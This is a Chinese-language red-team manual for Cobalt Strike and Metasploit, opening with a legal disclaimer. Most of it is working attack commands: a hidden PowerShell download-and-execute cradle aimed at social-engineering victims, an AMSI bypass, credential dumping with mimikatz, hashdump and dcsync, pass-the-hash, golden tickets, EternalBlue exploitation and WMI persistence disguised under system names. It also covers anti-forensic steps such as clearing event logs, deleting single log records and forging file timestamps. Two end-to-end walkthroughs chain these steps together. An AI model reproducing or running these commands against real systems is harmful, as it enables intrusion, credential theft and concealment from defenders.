Cobalt Strike(CS)红队实战手册
安全提示与职业操守
做渗透测试,必须严格遵守以下原则:
- 合法授权 :仅在书面授权的范围内使用 sqlmap,禁止未授权测试;
- 最小影响 :避免使用高风险参数(如sqlmap工具的
--risk=3、--os-shell),防止目标服务崩溃; - 数据保护:枚举到的敏感数据(如用户密码)需严格保密,测试后立即删除;
- 留痕清理:测试结束后,协助目标清除测试留下的日志、文件等痕迹。
免责声明
- 本文所述所有渗透测试技术、工具、命令及实战案例,仅适用于已获得目标系统 / 网络所有者书面授权的测试场景(如企业内部安全评估、甲方委托的红队测试、个人合法拥有的实验环境)。
- 任何组织或个人若未取得明确书面授权,擅自将本文内容用于对第三方系统 / 网络的扫描、探测、攻击等行为,均属于非法网络活动,涉嫌违反《中华人民共和国网络安全法》《中华人民共和国刑法》(第 285 条 "非法侵入计算机信息系统罪"、第 286 条 "破坏计算机信息系统罪")及《网络安全审查办法》等法律法规,作者对此类非法行为不承担任何责任,相关法律后果由行为人自行承担。
- 本文分享的渗透测试技术,核心目的是帮助读者 "理解攻击原理,进而构建更有效的防御体系"------ 渗透测试的本质是 "以攻促防",而非 "指导攻击"。
- 网络安全行业的核心伦理是 "保护而非破坏":所有测试行为需严格控制在授权范围内,测试结束后需完整恢复目标系统状态(如删除后门、清理日志、还原配置),严禁窃取、篡改、泄露目标系统的敏感数据(如用户信息、商业机密、核心代码),严禁破坏目标系统的正常运行。
- 网络安全是国家安全的重要组成部分,合法合规是每一位渗透测试工程师的职业底线。
- 您一旦阅读并使用本文内容,即视为已充分理解并同意本免责声明的全部条款。
一、CS 核心定位与 MSF 协同逻辑、红队角色分工
核心定位
Cobalt Strike 是红队专属的协同式渗透测试 C2(Command & Control)平台 ,主打隐蔽化长期控制、域环境深度渗透、团队协同作战、流量伪装免查杀,是红队内网渗透、护网行动的核心控制中枢。
与 MSF 的角色分工
| 工具 | 核心定位 | 红队核心优势 |
|---|---|---|
| CS | 长期 C2 控制、后渗透全流程、团队协同 | 流量可控、免杀适配性强、域渗透工具链完善、支持多人协同、隐蔽通信能力强 |
| MSF | 外网打点、漏洞利用、快速扫描、小众模块覆盖 | 漏洞利用模块数量极多、更新快、适合快速打点拿初始权限、Payload 生成灵活 |
红队实战协同逻辑
- 外网打点阶段:用 MSF 扫描漏洞、利用 CVE 拿初始 shell/meterpreter 会话;
- 权限迁移阶段:将 MSF 的会话迁移到 CS,转为 Beacon 会话,利用 CS 的隐蔽通信做长期控制;
- 内网渗透阶段:用 CS 做信息收集、提权、横向移动、域控渗透;遇到 CS 无覆盖的漏洞利用模块,将 Beacon 会话派生回 MSF 调用对应模块;
- 收尾阶段:用 CS 做持久化、痕迹清理,完成攻击链闭环。
二、监听器(Listener)配置方法、核心参数、实战示例
监听器是 CS 接收 Beacon 回连的核心组件,分为Internal(CS 自身处理回连) 、Foreign(外部监听器,如 MSF,用于会话派生) 两大类。
核心参数全称与红队实战作用
| 参数全称 | 红队核心作用 |
|---|---|
Payload Type |
载荷类型,分Staged(分阶段)和Stageless(无阶段),决定 Payload 的加载方式 |
HTTP Hosts |
Beacon 回连的目标域名 / IP,支持多个,红队用于域名前置、CDN 节点隐藏真实 C2 IP |
HTTP Port |
Beacon 回连端口,红队优先用 80/443/53,伪装正常流量,避免默认端口 50050 |
HTTP Host Header |
HTTP 请求的 Host 字段,用于域名前置、CDN 适配,伪装正常网站请求,绕过 WAF / 流量审计 |
HTTPS Certificate |
HTTPS 监听器的 SSL 证书,红队必须用正规 CA 签发证书,避免自签名证书被流量审计拦截 |
DNS Hosts |
DNS 监听器的域名,必须是 NS 记录指向 C2 服务器的域名,用于 HTTP/HTTPS 被封禁的极端场景 |
Beacon Type |
Beacon 通信类型,外网优先HTTPS,内网横向优先SMB/TCP |
Proxy |
Beacon 回连的代理配置,用于隐藏 C2 真实 IP,支持 Socks4/5 |
红队实战配置示例
1. HTTPS 监听器(外网首选,隐蔽性最强)
配置步骤:
-
CS 客户端 →
Listeners→Add -
核心参数配置:
Payload Type:windows/beacon_reverse_https(Stageless,无阶段)Name:HTTPS-C2-01(自定义名称)HTTP Hosts:c2.redteam.com(域名解析到 CDN 节点,做域名前置)HTTP Port:443HTTP Host Header:www.aliyuncs.com(伪装阿里云请求,域名前置用)HTTPS Certificate:选择正规 CA 签发的c2.redteam.com证书(pem 格式)TCP Port:443(与 HTTP Port 一致)
-
点击
Save完成启动。
红队注意点:必须用正规 SSL 证书,自签名证书 100% 被流量审计标记;HTTP Hosts 用 CDN / 域名前置隐藏真实 C2 IP,避免溯源。
2. Foreign 监听器(MSF 联动专用)
配置步骤:
-
MSF 中先启动监听:
use exploit/multi/handler set PAYLOAD windows/x64/meterpreter/reverse_https set LHOST 192.168.1.200 set LPORT 8443 set ExitOnSession false exploit -j -z -
CS 中 Add Listener:
Payload Type:Foreign HTTPSName:MSF-ListenerHost:192.168.1.200Port:8443Payload:windows/x64/meterpreter/reverse_https(与 MSF 完全一致)
-
点击
Save完成,用于 CS 会话派生到 MSF。
Staged 与 Stageless Payload 红队选择建议
| 类型 | 核心原理 | 红队适用场景 | 优势 | 劣势 |
|---|---|---|---|---|
| Staged(分阶段) | 分两阶段:极小的 stager 先执行,再从 C2 下载完整 Beacon | 内网横向移动、钓鱼宏、漏洞利用 shellcode 注入 | 体积极小,适配性强,不易被静态查杀 | 依赖网络,stager 下载失败则无法回连,流量特征易被检测 |
| Stageless(无阶段) | 完整 Beacon 代码全部打包,执行后直接回连 C2 | 外网初始投递、社工钓鱼 exe、U 盘木马 | 回连稳定,不依赖分阶段下载,免杀适配性强 | 体积略大(约 300KB),静态免杀难度略高 |
红队选择规则:
- 外网初始投递、社工钓鱼:优先
Stageless,回连稳定,免杀可控; - 内网横向移动、漏洞利用、宏注入:优先
Staged,体积小,适配性强; - 护网高风险环境:优先
HTTPS Stageless + Malleable C2,流量伪装最完善。
三、Payload 生成方法、核心参数、实战用法
CS Payload 生成核心在Attacks菜单,红队高频 5 大类,核心参数与实战用法如下:
核心参数全称与作用
| 参数全称 | 红队核心作用 |
|---|---|
x86 / x64 |
目标系统架构,红队首选 x64,适配 Win10/11/Server 2016+ |
Stageless |
无阶段完整 Payload,外网投递必选 |
Staged |
分阶段 Payload,横向移动必选 |
Block DLLs |
阻止非微软签名的 DLL 注入 Beacon 进程,免杀必选,阻止 EDR 监控 |
Obfuscate Scrimmage |
混淆 Beacon 的 stager 代码,免杀必选,打乱特征 |
Start RWX |
启动时分配可读可写可执行内存页,仅老系统兼容用,新系统禁用,易被查杀 |
红队实战生成示例
1. 免杀 Stageless EXE Payload(外网投递首选)
操作路径:Attacks→Packages→Windows Executable (S)
配置参数:
- Listener:HTTPS-C2-01
- Output:Windows EXE
- Architecture:x64
- 勾选Stageless
- 勾选Block DLLs
- 勾选Obfuscate Scrimmage
- 不勾选Start RWX
点击Generate,保存为office_update.exe
红队注意点:生成后禁止上传 virustotal,会导致特征被收录;仅用本地工具做免杀二次处理。
2. 无文件落地 PowerShell Payload(SWD,社工首选)
操作路径:Attacks→Web Drive-by→Scripted Web Delivery (S)
配置参数:
- Listener:HTTPS-C2-01
- Payload:PowerShell
- Local Host:192.168.1.200
- Local Port:443
- URI Path:/windows/update
- 勾选x64
- 勾选Use HTTPS
点击Launch,生成执行命令:
powershell -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('https://192.168.1.200/windows/update'))"
红队用法:社工诱导目标执行,无文件落地,直接内存执行,绕过静态查杀。
四、Beacon 核心交互命令(红队高频)
所有命令标注参数全称、用法、实战示例、使用时机、注意事项,无冗余内容。
一、基础管理类(会话控制 + 隐蔽通信)
1. sleep
-
参数全称 :
sleep [sleep_time] [jitter_percent] -
参数含义:
sleep_time:Beacon 睡眠时间(秒),两次回连 C2 的间隔;jitter_percent:抖动百分比(0-99),睡眠时间的随机浮动比例,避免固定间隔流量特征。
-
实战示例:
# 初始会话隐蔽优先:60秒间隔,20%抖动 sleep 60 20 # 操作阶段实时优先:5秒间隔,10%抖动 sleep 5 10 # 长期潜伏极致隐蔽:300秒间隔,50%抖动 sleep 300 50 -
使用时机:
- 刚拿到初始会话,必须先执行
sleep 60 20,避免高频回连被检测; - 操作时调小 sleep,操作完立刻调大,降低被检测概率。
- 刚拿到初始会话,必须先执行
-
注意事项:必须加 jitter 参数,固定间隔回连 100% 被流量审计标记;护网非操作时段 sleep 不低于 60 秒。
2. migrate
-
参数全称 :
migrate [pid]/migrate -n [process_name] -
参数含义:
pid:目标进程 PID;-n --process_name:目标进程名称,无需查 PID,快捷迁移。
-
实战示例:
# 查看进程列表 ps # 迁移到PID 1234的explorer.exe migrate 1234 # 红队首选:直接按名称迁移到explorer.exe migrate -n explorer.exe # SYSTEM权限会话首选:迁移到svchost.exe migrate -n svchost.exe -
使用时机:
- 拿到初始会话后,第一时间迁移,避免初始进程被关闭导致会话丢失;
- 提权后迁移到 SYSTEM 权限的系统进程,稳定不掉线。
-
注意事项 :必须迁移到同架构、同权限的进程,否则会话直接崩溃;禁止迁移到 cmd/powershell 等短期进程。
3. exit
- 参数全称 :
exit - 作用:正常终止 Beacon 会话,清理内存痕迹,安全退出。
- 使用时机:攻击结束,终止会话时。
- 注意事项:禁止直接关闭 Beacon 窗口,必须用 exit 正常退出,避免留下痕迹。
二、信息收集类(内网渗透必备)
1. sysinfo
- 参数全称 :
sysinfo - 作用:查看目标系统版本、架构、主机名、域信息、补丁版本。
- 使用时机:拿到会话后第一时间执行,确认目标环境,为提权、横向移动做准备。
- 注意事项:输出的补丁信息用于匹配对应提权 CVE 编号。
2. ipconfig
- 参数全称 :
ipconfig/ipconfig /all - 作用:查看网卡信息、IP、网关、DNS、域控 IP,定位内网网段。
- 使用时机:初始信息收集,横向移动前确认内网网段、域控 IP(DNS 服务器 IP 大概率是域控)。
3. portscan
-
参数全称 :
portscan [target_range] [ports] [options] -
参数含义:
target_range:目标 IP / 网段;ports:扫描端口;--arp:ARP 扫描,更隐蔽快速;--threads:扫描线程数。
-
实战示例:
# 快速扫描内网445、3389端口,ARP扫描,10线程 portscan 192.168.1.0/24 445,3389 --arp --threads 10 -
使用时机:横向移动前,扫描存活主机和开放服务。
-
注意事项:护网场景禁止全端口大网段扫描,极易触发告警,线程数不超过 10。
4. net user / net group
-
核心用法:
# 查看本地管理员组 net localgroup administrators # 查看域管理员组成员(域渗透核心) net group "Domain Admins" /domain # 查看域内所有用户 net user /domain -
使用时机:提权后,域渗透信息收集,定位高权限用户。
-
注意事项 :必须是域用户权限才能执行
/domain命令。
三、权限操作类(提权核心)
1. getuid
- 参数全称 :
getuid - 作用:查看当前会话的运行用户,确认权限级别。
- 使用时机:提权操作前后,确认权限是否提升成功。
- 注意事项 :输出
NT AUTHORITY\SYSTEM即为系统最高权限。
2. getsystem
-
参数全称 :
getsystem [technique_number] -
参数含义:
technique_number为提权技术编号(1-4),不指定则自动尝试所有技术:
- 1:Named Pipe Impersonation(命名管道模拟,最常用);
- 2:Service Creation(服务创建);
- 3:Token Duplication(令牌复制);
- 4:RPCSS Named Pipe Impersonation。
-
实战示例:
# 自动尝试所有提权技术,红队首选 getsystem # 仅用技术1提权,最稳定 getsystem 1 -
使用时机:拿到本地管理员权限后,提权到 SYSTEM。
-
注意事项 :必须是已提升的本地管理员权限(UAC 已绕过),未提升的过滤令牌权限必然失败。
3. bypassuac
-
参数全称 :
bypassuac [listener_name] -
参数含义 :
listener_name为监听器名称,用于回弹高权限会话。 -
作用:绕过 Windows UAC,将未提升的管理员权限转为完整管理员权限,为 getsystem 做准备。
-
实战示例:
bypassuac HTTPS-C2-01 -
使用时机:getsystem 失败,当前会话是未提升的管理员权限时。
-
注意事项:仅适用于本地管理员组用户,普通用户无法绕过;执行成功后会回弹新的高权限会话。
4. hashdump
- 参数全称 :
hashdump - 作用:导出目标本地 SAM 数据库的用户 NTLM 哈希,用于哈希传递(PTH)横向移动。
- 使用时机:提权到 SYSTEM 后,导出哈希用于横向移动。
- 注意事项:必须是 SYSTEM 权限才能执行;域控上执行可导出所有域用户哈希。
5. logonpasswords
- 参数全称 :
logonpasswords - 作用:调用 mimikatz,导出内存中的明文密码、NTLM 哈希、域凭据、Kerberos 票据。
- 使用时机:提权到 SYSTEM 后,抓取域管理员凭据。
- 注意事项:高版本 Defender/EDR 会拦截,执行前先绕过 AMSI。
四、横向移动类(域渗透核心)
1. pth(哈希传递)
-
参数全称 :
pth [domain] [username] [ntlm_hash] -
参数含义:
domain:目标域名,本地用户用.;username:目标用户名;ntlm_hash:用户 NTLM 哈希。
-
实战示例:
# 本地管理员哈希传递 pth . Administrator 31d6cfe0d16ae931b73c59d7e0c089c0 # 域用户哈希传递 pth REDTEAM.LOCAL admin 31d6cfe0d16ae931b73c59d7e0c089c0 -
使用时机:拿到用户 NTLM 哈希后,无需明文密码直接横向移动。
-
注意事项:目标必须开启 445 端口 SMB 服务,防火墙放行。
2. psexec
-
参数全称 :
psexec [target_host] [listener_name] [options] -
参数含义:
target_host:目标 IP / 主机名;listener_name:监听器名称;-h:使用当前令牌;-u/-p:指定用户名 / 密码 / 哈希;-64:64 位 Payload。
-
实战示例:
# 用当前令牌横向到域控192.168.1.10 psexec 192.168.1.10 HTTPS-C2-01 -h -64 -
使用时机:拿到目标管理员权限后,横向获取会话。
-
注意事项:护网场景 psexec 易触发告警,优先用 winrm/wmi 替代。
五、红队经典实战案例(2 个完整可复现)
案例 1:Windows 10 初始访问→提权→持久化→痕迹清理全流程
场景:目标 Win10 21H2,IP 192.168.1.100,本地管理员权限初始 Beacon 会话;攻击机 CS IP 192.168.1.200;核心目标:提权 SYSTEM、持久化、清理痕迹。
步骤 1:初始会话隐蔽化
# 调整回连频率,隐蔽优先
sleep 60 20
# 确认权限和系统信息
getuid
sysinfo
# 迁移进程到explorer.exe,避免掉线
migrate -n explorer.exe
步骤 2:UAC 绕过 + 提权 SYSTEM
# 绕过UAC,回弹高权限会话
bypassuac HTTPS-C2-01
# 进入新会话,提权到SYSTEM
sessions -i 2
getsystem
# 确认提权成功
getuid
# 迁移到SYSTEM权限的svchost.exe
migrate -n svchost.exe
步骤 3:信息收集 + 密码抓取
# 查看网卡信息
ipconfig /all
# 导出本地用户哈希
hashdump
# 绕过AMSI,抓取明文密码
powershell-import AMSI_Bypass.ps1
powershell AMSI_Bypass
logonpasswords
步骤 4:持久化配置
# 计划任务持久化,SYSTEM权限开机自启
shell schtasks /create /tn "Windows Security Update" /tr "C:\Windows\Temp\office_update.exe" /sc onstart /ru SYSTEM /f
# 上传Payload到目标路径
upload /root/office_update.exe C:\Windows\Temp\office_update.exe
步骤 5:痕迹清理
# 清空三大事件日志
clearev
# 伪造Payload时间戳,伪装成系统文件
timestomp C:\Windows\Temp\office_update.exe -f C:\Windows\System32\notepad.exe
# 清除PowerShell历史
shell del %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
# 正常退出
exit
案例 2:域环境横向移动到域控全流程
场景:已拿到员工主机 Win10(192.168.1.100)SYSTEM 权限 Beacon,域 REDTEAM.LOCAL;域控 DC01,IP 192.168.1.10;核心目标:抓取域管理员凭据,横向到域控,域环境持久化。
步骤 1:域环境信息收集
# 确认域控IP(DNS服务器地址)
ipconfig /all
# 查看域管理员组成员
net group "Domain Admins" /domain
# 扫描内网存活主机
portscan 192.168.1.0/24 445,3389 --arp --threads 10
步骤 2:抓取域管理员凭据
# 查看登录用户,确认域管理员是否登录过
net logons
# 绕过AMSI,抓取内存中的域管理员哈希
powershell-import AMSI_Bypass.ps1
powershell AMSI_Bypass
logonpasswords
步骤 3:哈希传递 + 横向到域控
# 哈希传递,获取域管理员权限令牌
pth REDTEAM.LOCAL admin 31d6cfe0d16ae931b73c59d7e0c089c0
# 进入域管理员权限会话,psexec横向到域控
sessions -i 3
psexec 192.168.1.10 HTTPS-C2-01 -h -64
步骤 4:域控权限操作 + 持久化
# 进入域控会话,提权SYSTEM
sessions -i 4
getsystem
# 导出域内所有用户哈希(dcsync)
dcsync
# 黄金票据持久化,永久域管理员权限
kerberos::golden /user:Administrator /domain:REDTEAM.LOCAL /sid:S-1-5-21-123456789-1234567890-1234567890 /krbtgt:31d6cfe0d16ae931b73c59d7e0c089c0 /ptt
步骤 5:痕迹清理
# 清空域控事件日志
clearev
# 清除PowerShell历史
shell del %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
# 正常退出
exit
六、红队进阶实战技巧
一、隐蔽通信技巧
技巧 1:Malleable C2 流量伪装(护网必用)
-
核心作用:自定义 Beacon 通信流量,伪装成正常网站请求,绕过流量审计 / WAF。
-
操作步骤:
-
编写 Malleable C2 配置文件(伪装阿里云 OSS 流量),示例核心片段:
set sleeptime "60000";
set jitter "20";
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36";
http-get {
set uri "/oss/update/";
client {
header "Host" "oss-cn-beijing.aliyuncs.com";
metadata { base64url; prepend "user="; header "Cookie"; }
}
server {
header "Content-Type" "text/html; charset=utf-8";
output { base64; prepend "<html><body>404 Not Found
</body></html>"; }
}
} -
启动 Team Server 时加载配置:
./teamserver 192.168.1.200 redteam@2024 aliyun.profile
-
-
适用场景:护网高风险环境,极致流量隐蔽;
-
避坑点:必须用 c2lint 工具校验配置,否则会导致 Beacon 无法回连。
技巧 2:SMB Beacon 内网隐蔽通信
- 核心作用:内网横向用 SMB 协议 Beacon,流量通过命名管道传输,仅跳板机和 C2 通信,内网审计设备无法检测。
- 操作步骤:
- 创建 SMB 监听器:
Payload Type=windows/beacon_smb/bind_pipe,Pipe Name=msrpc_445; - 横向移动时选择 SMB 监听器,目标主机 Beacon 仅通过跳板机和 C2 通信。
- 创建 SMB 监听器:
- 适用场景:内网横向,目标无法直接访问外网 C2;
- 避坑点:跳板机掉线会导致所有 SMB 会话丢失,必须保证跳板机稳定。
二、免杀进阶技巧
技巧 1:Block DLLs + AMSI 绕过 + 进程注入免杀
-
核心作用:阻止 EDR 的 DLL 注入监控,绕过 AMSI 检测,免杀率 90%+。
-
操作步骤:
-
生成 Payload 时勾选
Block DLLs、Obfuscate Scrimmage,不勾选Start RWX; -
用 C 语言写加载器,将 Beacon shellcode 注入到 notepad.exe 内存执行;
-
执行前先运行 AMSI 绕过脚本:
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue(null,true)
-
-
适用场景:目标开启 Defender/EDR,基础 Payload 被查杀。
技巧 2:无文件落地 SWD Payload
-
核心作用:Payload 不写入硬盘,直接内存执行,绕过静态查杀。
-
操作步骤:
-
CS 创建 SWD 监听器,生成 PowerShell Payload;
-
混淆 PowerShell 代码,社工诱导目标执行:
powershell -nop -exec bypass -w hidden -c "IEX ((new-object net.webclient).downloadstring('https://c2.redteam.com/update'))"
-
-
适用场景:目标有严格文件监控,无法上传 exe。
三、持久化技巧
技巧 1:WMI 事件订阅持久化(无文件,极难发现)
-
核心作用:通过 WMI 事件订阅实现开机自启,无文件、无注册表、无计划任务,长期潜伏首选。
-
操作步骤:Beacon 中执行 PowerShell 命令:
$filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{ Name = "Windows Health Check"; EventNamespace = "root\CIMV2"; QueryLanguage = "WQL"; Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_OperatingSystem'"; } $consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments @{ Name = "Windows Health Check"; CommandLineTemplate = "C:\Windows\Temp\office_update.exe"; } Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{ Filter = $filter; Consumer = $consumer; } -
适用场景:长期潜伏,极致隐蔽;
-
避坑点:事件名称必须伪装成系统正常名称,避免被发现。
技巧 2:黄金票据域环境持久化
-
核心作用:伪造 krbtgt 的 TGT 票据,拥有域内所有主机管理员权限,有效期默认 10 年。
-
操作步骤:
-
域控上执行
dcsync,获取域 SID、krbtgt 的 NTLM 哈希; -
生成黄金票据注入内存:
kerberos::golden /user:Administrator /domain:REDTEAM.LOCAL /sid:S-1-5-21-123456789-1234567890-1234567890 /krbtgt:31d6cfe0d16ae931b73c59d7e0c089c0 /ptt
-
-
适用场景:域环境长期控制;
-
避坑点:不要频繁用黄金票据访问域控,易触发告警,优先用白银票据访问指定服务。
四、痕迹清理进阶技巧
技巧 1:单条事件日志删除(不触发告警)
-
核心作用:仅删除攻击相关的单条日志,不全量清空,避免触发蓝队告警。
-
操作步骤:
# 查看攻击相关的事件ID,记录EventRecordID shell wevtutil qe Security /q:"*[System[EventID=4688]]" /f:text /c:10 # 删除指定RecordID的日志 powershell $recordId=12345; $log=New-Object System.Diagnostics.Eventing.Reader.EventLogSession("localhost"); $log.ClearLog("Security", "*[System/EventRecordID!=$recordId]") -
适用场景:护网场景,不能全量清空日志;
-
避坑点:Win10 家庭版不支持单条删除,仅专业版 / 服务器版可用。
技巧 2:文件时间戳伪造(timestomp)
-
核心作用:伪造恶意文件的创建 / 修改 / 访问时间,和系统原生文件一致,绕过 EDR 新文件检测。
-
操作步骤:
# 将恶意文件时间戳伪装成和notepad.exe完全一致 timestomp C:\Windows\Temp\office_update.exe -f C:\Windows\System32\notepad.exe # 验证修改结果 timestomp C:\Windows\Temp\office_update.exe -v -
适用场景:所有文件落地场景,必做操作。
七、高频异常问题排查
异常 1:Beacon 无法回连监听器
原因排查(按顺序):
- Payload 与监听器配置(类型、IP、端口、协议)不匹配;
- 目标 / 攻击机防火墙拦截了对应端口;
- 目标无法访问 C2 IP / 端口(网络不通);
- HTTPS 证书无效,自签名证书被拦截;
- Malleable C2 配置错误;
- Payload 被杀毒软件查杀。
解决方案:
# 1. C2服务器放行端口
ufw allow 443/tcp
# 2. 目标主机测试端口连通性
Test-NetConnection 192.168.1.200 -Port 443
# 3. 重新生成与监听器完全匹配的Payload
# 4. 用正规CA证书配置HTTPS监听器
# 5. 用c2lint校验Malleable C2配置
避坑技巧:优先用 443/80/53 端口,拦截率极低;外网 C2 必须用域名 + CDN,避免 IP 被封禁。
异常 2:getsystem 提权失败
原因排查:
- 当前会话不是本地管理员权限;
- UAC 未绕过,权限是过滤令牌;
- 系统补丁修复了 getsystem 用到的提权技术;
- 安全软件拦截了提权操作。
解决方案:
# 1. 先绕过UAC,获取完整管理员权限
bypassuac HTTPS-C2-01
# 2. 进入新会话,用技术1提权
sessions -i 2
getsystem 1
# 3. 若失败,用对应系统版本的CVE提权漏洞(如PrintNightmare)
避坑技巧:getsystem 仅能从已提升的管理员权限提权,普通用户无法使用;Win11 默认 bypassuac 失效,需用更高级的绕过方法。
异常 3:psexec 横向移动失败
原因排查:
- 目标 445 端口未开放,SMB 服务未开启;
- 目标 Admin$ 共享未开启;
- 当前无目标的管理员权限;
- 目标开启 UAC 远程限制;
- 防火墙拦截了 SMB 流量。
解决方案:
# 1. 优先用更隐蔽的winrm替代psexec
winrm 192.168.1.10 HTTPS-C2-01 -h -64
# 2. 关闭目标UAC远程限制
shell reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
# 3. 哈希传递后再执行psexec
pth . Administrator 31d6cfe0d16ae931b73c59d7e0c089c0
psexec 192.168.1.101 HTTPS-C2-01 -h -64
避坑技巧:护网场景 psexec 易触发告警,优先用 winrm/wmi 横向。
八、MSF 与 CS 联动详细用法
场景 1:MSF 初始打点→会话迁移到 CS(最常用)
适用场景:MSF 拿初始 meterpreter 会话,转到 CS 做长期控制。
步骤 1:CS 创建 Foreign 监听器
Payload Type:Foreign HTTP
Name:MSF-to-CS
Host:192.168.1.200
Port:8443
Payload:windows/x64/meterpreter/reverse_http
步骤 2:MSF 拿到初始 meterpreter 会话
msfconsole -q
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.200
set LPORT 4444
exploit -j -z
sessions -i 1
步骤 3:MSF 将会话迁移到 CS
# 挂起会话,回到msfconsole
background
use exploit/windows/local/payload_inject
# 配置与CS Foreign监听器完全一致
set PAYLOAD windows/x64/meterpreter/reverse_http
set LHOST 192.168.1.200
set LPORT 8443
set SESSION 1
set DisablePayloadHandler true
# 执行注入
exploit
结果:CS 收到目标回弹的 Beacon 会话。
场景 2:CS Beacon 派生到 MSF(用 MSF 模块攻击)
适用场景:CS 拿到会话后,用 MSF 的漏洞利用模块。
步骤 1:MSF 开启监听
msfconsole -q
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_https
set LHOST 192.168.1.200
set LPORT 9443
set ExitOnSession false
exploit -j -z
步骤 2:CS 派生会话到 MSF
# Beacon中执行,MSF-Listener为之前创建的Foreign监听器
spawn MSF-Listener
结果:MSF 收到 meterpreter 会话,可调用 MSF 模块进行攻击。
场景 3:CS 与 MSF Socks 代理联动(内网穿透)
适用场景:CS 拿到内网会话,开启 Socks 代理,MSF 通过代理扫描 / 攻击内网。
步骤 1:CS 开启 Socks 代理
# Beacon中执行,开启Socks4代理,端口1080
socks 1080
步骤 2:MSF 配置全局代理
msfconsole -q
# 配置全局Socks代理,指向CS的IP和端口
setg Proxies socks4:192.168.1.200:1080
setg LHOST 192.168.1.200
# 扫描内网网段
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.1.0/24
set PORTS 445,3389
set THREADS 10
run
步骤 3:MSF 通过代理攻击内网主机
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.101
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.200
set LPORT 5555
exploit
联动避坑技巧:
- Payload 类型、IP、端口必须 100% 匹配,否则无法回弹;
- Socks 代理必须用 TCP 全连接扫描(nmap -sT),禁止 SYN 扫描;
- 扫描线程数不超过 10,避免会话卡顿掉线。